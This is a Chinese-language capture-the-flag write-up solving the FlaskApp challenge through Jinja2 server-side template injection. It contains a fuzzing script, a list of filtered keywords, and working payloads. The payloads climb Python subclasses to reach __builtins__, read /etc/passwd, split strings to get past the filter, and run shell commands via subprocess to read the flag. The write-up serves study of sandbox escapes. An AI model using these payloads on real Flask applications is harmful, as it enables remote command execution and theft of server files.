[GYCTF2020]FlaskApp
根据题目,这道题应该是flask。在加密的地方输入{{7*7}}正常回显其base64编码,然后将编码放到解密的地方出现回显nonono,说明过滤了什么。看来突破点在解密的地方。
输入 {{}} 的编码,出现报错,然后还能看到源码:
有waf过滤,利用脚本测试一下:
import base64import requestsurl1 = 'http://2d0cf127-50a4-461e-98d7-41c83461a237.node5.buuoj.cn/decode'with open('fuzz.txt', "r") as file:headers = {"Cookie": "session=eyJjc3JmX3Rva2VuIjoiYTkxNGM4YWI3NmFkNmE1OTFhNjkxNzRkZWYzNDZkZDM5NDcyNmQyZCJ9.aI8Tag.edj4l963JVxa4BtqoCwKDETV9Bs"}for line in file:text = base64.b64encode(line.encode('utf-8'))data = {"csrf_token": "ImE5MTRjOGFiNzZhZDZhNTkxYTY5MTc0ZGVmMzQ2ZGQzOTQ3MjZkMmQi.aI8Tag.bgJlC6OvbEgS7UDSiMqhwe4kMv0","text": text,"submit": "%E6%8F%90%E4%BA%A4"}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "no no no !!" in r.text and "jinja2.exceptions.TemplateSyntaxError" not in r.text:print(f"{line}")
import
eval
os
subprocess
commands
popen
popen2
popen3
popen4
system
request
*
AI给的字典,所以可能不全面。
jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载, 这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
尝试使用
执行语句{{''.__class__.__mro__[1].__subclasses__()}}出现502 Bad Gateway,如果不是被过滤的话那就可能是返回的数据太多。尝试一下{{''.__class__.__mro__[1].__subclasses__()[40]}},返回<class 'wrapper_descriptor'>说明没有被过滤。
那我们需要减少一次性返回的数量,可以使用切片。
{{''.__class__.__mro__[1].__subclasses__()[0:200]}}
{{''.__class__.__mro__[1].__subclasses__()[200:400]}}
{{''.__class__.__mro__[1].__subclasses__()[400:]}}
可以通过循环获取名称进一步减少输出内容
{% for cls in ''.__class__.__mro__[1].__subclasses__()[0:500] %} {{ cls.__name__ }} {% endfor %}
{% for cls in ''.__class__.__mro__[1].__subclasses__()[500:] %} {{ cls.__name__ }} {% endfor %}
可以找到有WarningMessage。
特殊变量
__builtins__
:全局命名空间中通常会包含__builtins__
键,其值指向内置命名空间(或内置模块builtins
),使得模块内可以直接访问内置内容(本质是通过__builtins__
间接引用)。内置命名空间是 Python 解释器自带的 “基础库”,包含所有内置功能,全局有效,随解释器启动而存在。
全局命名空间是单个模块的 “局部仓库”,包含模块内定义的内容,仅在模块内有效,随模块导入而存在。
在模板注入场景中,沙箱通常会限制直接访问危险函数(如 open,system),我们可以通过__builtins__.open()来逃逸。但是大部分时候__builtins__也被限制,我们可以通过x.__init__.__globals__['__builtins__']来逃逸,原理:
1.
x
:精心选择的 “跳板类”
x
是从object.__subclasses__()
中筛选出的某个类(通常是沙箱未严格过滤的类,如WarningMessage
、Exception
等系统内置类)。这类类的特点是:
- 在沙箱环境中默认加载(未被删除);
- 其构造方法
__init__
的全局命名空间未被沙箱清理,仍保留__builtins__
引用。例如,Python 中的警告处理类
WarningMessage
或异常类Exception
,它们的实现中通常依赖内置函数,因此其全局命名空间会保留__builtins__
。直接使用未定义的变量名也是可以的。2.
x.__init__
:类的构造方法
__init__
是类的初始化方法(构造函数),属于函数对象。函数对象在定义时会记录其所在的全局命名空间(即定义该函数时的上下文变量环境),并通过__globals__
属性暴露。3.
__init__.__globals__
:构造方法的全局命名空间
__globals__
是函数对象的关键属性,返回一个字典,包含该函数定义时可访问的所有全局变量。对于大多数系统内置类(如WarningMessage
),其__init__
方法在定义时会引用__builtins__
中的函数(如str
、list
等),因此其__globals__
字典中必然包含__builtins__
键。4.
['__builtins__']
:从全局命名空间中提取内置函数通过
__globals__['__builtins__']
即可从跳板类的全局命名空间中获取__builtins__
,此时得到的__builtins__
是完整的内置命名空间,包含沙箱试图屏蔽的危险函数(如open
、__import__
)。
{% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }} {%endif%} {%endfor%}
或
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
可以成功读取。于是
{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['sys''tem']('ls /') }}
但是发现只会回显命令返回的Code 0,并不会回显输出,于是
{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('ls /', shell=True, text=True) }}
得到结果 : app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var
于是
{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_flag.txt', shell=True, text=True) }}
发现被过滤了,应该是flag:
{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_fl''ag.txt', shell=True, text=True) }}
拿到flag啦!
看了一下答案,这道题是想让我们通过ssti注入获得PIN码,然后获取交互Shell。不过并不用这么麻烦。
总结一下:通过这个题目我对沙箱逃逸有了粗略的理解,但是具体的解题思路并不明确,特别是感觉构造playload有很多方法,比如利用子类呀、全局变量呀、内置函数呀等等,还有如何绕过过滤,以及注入语法。有必要总结一下所有内容,形成知识体系。